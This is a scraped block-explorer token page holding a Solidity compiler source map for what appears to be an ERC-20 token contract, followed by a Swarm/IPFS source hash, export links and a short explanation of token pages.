15745:11;15720:24;:37::i;:::-;-1:-1:-1;;;;;15697:20:0;;;;;;;:9;:20;;;;;;;:60;;;;15779:40;;;;;;;;;;15807:11;1801:25:1;;1789:2;1774:18;;1655:177;15779:40:0;;;;;;;;15841:4;15834:11;;;;;;;;;2720:192;2806:7;2842:12;2834:6;;;;2826:29;;;;-1:-1:-1;;;2826:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2866:9:0;2878:5;2882:1;2878;:5;:::i;:::-;2866:17;2720:192;-1:-1:-1;;;;;2720:192:0:o;13041:330::-;13171:53;;;;;;;;;;;-1:-1:-1;;;13171:53:0;;;;;;;;-1:-1:-1;;;;;13171:17:0;;13134:4;13171:17;;;:9;:17;;;;;;;:53;;13193:6;;13171:21;:53::i;:::-;-1:-1:-1;;;;;13151:17:0;;;;;;;:9;:17;;;;;;:73;;;;13258:20;;;;;;;:32;;13283:6;13258:24;:32::i;:::-;-1:-1:-1;;;;;13235:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13306:35;;;;;;;;;;13334:6;1801:25:1;;1789:2;1774:18;;1655:177;13306:35:0;;;;;;;;-1:-1:-1;13359:4:0;13041:330;;;;;:::o;12670:229::-;7709:16;:23;;-1:-1:-1;;7709:23:0;;;;;12742:25:::1;12759:7:::0;12742:16:::1;:25::i;:::-;12860:10;::::0;12807:21:::1;::::0;12839:52:::1;::::0;-1:-1:-1;;;;;12860:10:0::1;12807:21:::0;12839:20:::1;:52::i;:::-;-1:-1:-1::0;;7755:16:0;:24;;-1:-1:-1;;7755:24:0;;;12670:229::o;12014:648::-;-1:-1:-1;;;;;12187:29:0;;12105:7;12187:29;;;:21;:29;;;;;;12105:7;;12164:6;;12187:29;;:54;;;;-1:-1:-1;12220:21:0;;;;;;;12187:54;12183:86;;;12251:6;;-1:-1:-1;12259:9:0;-1:-1:-1;12243:26:0;;12183:86;-1:-1:-1;;;;;12285:23:0;;;;;;:15;:23;;;;;;;;12282:229;;;12337:38;12371:3;12337:29;12348:17;;12337:6;:10;;:29;;;;:::i;:::-;:33;;:38::i;:::-;12325:50;;12282:229;;;-1:-1:-1;;;;;12405:26:0;;;;;;:15;:26;;;;;;;;12402:109;;;12460:39;12495:3;12460:30;12471:18;;12460:6;:10;;:30;;;;:::i;:39::-;12448:51;;12402:109;-1:-1:-1;;;;;12525:29:0;;;;;;:21;:29;;;;;;;;12521:80;;;12579:6;12587:1;12571:18;;;;;;;12521:80;12621:21;:6;12632:9;12621:10;:21::i;:::-;12613:41;-1:-1:-1;12644:9:0;-1:-1:-1;12014:648:0;;;;;;;:::o;11401:605::-;11551:16;;;11565:1;11551:16;;;;;;;;11527:21;;11551:16;;;;;;;;;;-1:-1:-1;11551:16:0;11527:40;;11596:4;11578;11583:1;11578:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11578:23:0;;;:7;;;;;;;;;;:23;;;;11622:15;;:22;;;-1:-1:-1;;;11622:22:0;;;;:15;;;;;:20;;:22;;;;;11578:7;;11622:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11612:4;11617:1;11612:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11612:32:0;;;:7;;;;;;;;;:32;11689:15;;11657:62;;11674:4;;11689:15;11707:11;11657:8;:62::i;:::-;11758:15;;:240;;-1:-1:-1;;;11758:240:0;;-1:-1:-1;;;;;11758:15:0;;;;:66;;:240;;11839:11;;11758:15;;11909:4;;11936;;11972:15;;11758:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11456:550;11401:605;:::o;12907:126::-;12999:26;;-1:-1:-1;;;;;12999:18:0;;;:26;;;;;13018:6;;12999:26;;;;13018:6;12999:18;:26;;;;;;;;;;;;;;;;;;;2920:250;2978:7;3002:1;3007;3002:6;2998:47;;-1:-1:-1;3032:1:0;3025:8;;2998:47;3057:9;3069:5;3073:1;3069;:5;:::i;:::-;3057:17;-1:-1:-1;3102:1:0;3093:5;3097:1;3057:17;3093:5;:::i;:::-;:10;3085:56;;;;-1:-1:-1;;;3085:56:0;;10358:2:1;3085:56:0;;;10340:21:1;10397:2;10377:18;;;10370:30;10436:34;10416:18;;;10409:62;-1:-1:-1;;;10487:18:1;;;10480:31;10528:19;;3085:56:0;10156:397:1;3178:132:0;3236:7;3263:39;3267:1;3270;3263:39;;;;;;;;;;;;;;;;;:3;:39::i;2576:136::-;2634:7;2661:43;2665:1;2668;2661:43;;;;;;;;;;;;;;;;;:3;:43::i;3318:278::-;3404:7;3439:12;3432:5;3424:28;;;;-1:-1:-1;;;3424:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3463:9:0;3475:5;3479:1;3475;:5;:::i;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492:1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1837:316::-;1914:6;1922;1930;1983:2;1971:9;1962:7;1958:23;1954:32;1951:52;;;1999:1;1996;1989:12;1951:52;-1:-1:-1;;2022:23:1;;;2092:2;2077:18;;2064:32;;-1:-1:-1;2143:2:1;2128:18;;;2115:32;;1837:316;-1:-1:-1;1837:316:1:o;2158:456::-;2235:6;2243;2251;2304:2;2292:9;2283:7;2279:23;2275:32;2272:52;;;2320:1;2317;2310:12;2272:52;2359:9;2346:23;2378:31;2403:5;2378:31;:::i;:::-;2428:5;-1:-1:-1;2485:2:1;2470:18;;2457:32;2498:33;2457:32;2498:33;:::i;:::-;2158:456;;2550:7;;-1:-1:-1;;;2604:2:1;2589:18;;;;2576:32;;2158:456::o;2808:247::-;2867:6;2920:2;2908:9;2899:7;2895:23;2891:32;2888:52;;;2936:1;2933;2926:12;2888:52;2975:9;2962:23;2994:31;3019:5;2994:31;:::i;3060:180::-;3119:6;3172:2;3160:9;3151:7;3147:23;3143:32;3140:52;;;3188:1;3185;3178:12;3140:52;-1:-1:-1;3211:23:1;;3060:180;-1:-1:-1;3060:180:1:o;3245:273::-;3301:6;3354:2;3342:9;3333:7;3329:23;3325:32;3322:52;;;3370:1;3367;3360:12;3322:52;3409:9;3396:23;3462:5;3455:13;3448:21;3441:5;3438:32;3428:60;;3484:1;3481;3474:12;3523:388;3591:6;3599;3652:2;3640:9;3631:7;3627:23;3623:32;3620:52;;;3668:1;3665;3658:12;3620:52;3707:9;3694:23;3726:31;3751:5;3726:31;:::i;:::-;3776:5;-1:-1:-1;3833:2:1;3818:18;;3805:32;3846:33;3805:32;3846:33;:::i;:::-;3898:7;3888:17;;;3523:388;;;;;:::o;3916:380::-;3995:1;3991:12;;;;4038;;;4059:61;;4113:4;4105:6;4101:17;4091:27;;4059:61;4166:2;4158:6;4155:14;4135:18;4132:38;4129:161;;4212:10;4207:3;4203:20;4200:1;4193:31;4247:4;4244:1;4237:15;4275:4;4272:1;4265:15;4129:161;;3916:380;;;:::o;4301:356::-;4503:2;4485:21;;;4522:18;;;4515:30;4581:34;4576:2;4561:18;;4554:62;4648:2;4633:18;;4301:356::o;4662:127::-;4723:10;4718:3;4714:20;4711:1;4704:31;4754:4;4751:1;4744:15;4778:4;4775:1;4768:15;4794:217;4834:1;4860;4850:132;;4904:10;4899:3;4895:20;4892:1;4885:31;4939:4;4936:1;4929:15;4967:4;4964:1;4957:15;4850:132;-1:-1:-1;4996:9:1;;4794:217::o;6640:125::-;6705:9;;;6726:10;;;6723:36;;;6739:18;;:::i;8345:128::-;8412:9;;;8433:11;;;8430:37;;;8447:18;;:::i;8610:127::-;8671:10;8666:3;8662:20;8659:1;8652:31;8702:4;8699:1;8692:15;8726:4;8723:1;8716:15;8742:251;8812:6;8865:2;8853:9;8844:7;8840:23;8836:32;8833:52;;;8881:1;8878;8871:12;8833:52;8913:9;8907:16;8932:31;8957:5;8932:31;:::i;8998:980::-;9260:4;9308:3;9297:9;9293:19;9339:6;9328:9;9321:25;9365:2;9403:6;9398:2;9387:9;9383:18;9376:34;9446:3;9441:2;9430:9;9426:18;9419:31;9470:6;9505;9499:13;9536:6;9528;9521:22;9574:3;9563:9;9559:19;9552:26;;9613:2;9605:6;9601:15;9587:29;;9634:1;9644:195;9658:6;9655:1;9652:13;9644:195;;;9723:13;;-1:-1:-1;;;;;9719:39:1;9707:52;;9814:15;;;;9779:12;;;;9755:1;9673:9;9644:195;;;-1:-1:-1;;;;;;;9895:32:1;;;;9890:2;9875:18;;9868:60;-1:-1:-1;;;9959:3:1;9944:19;9937:35;9856:3;8998:980;-1:-1:-1;;;8998:980:1:o;9983:168::-;10056:9;;;10087;;10104:15;;;10098:22;;10084:37;10074:71;;10125:18;;:::i

Swarm Source

ipfs://cf8c98f644e0d01e7bf55ae774b4def6a20c4129590e258adb1260decbb1dcbb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.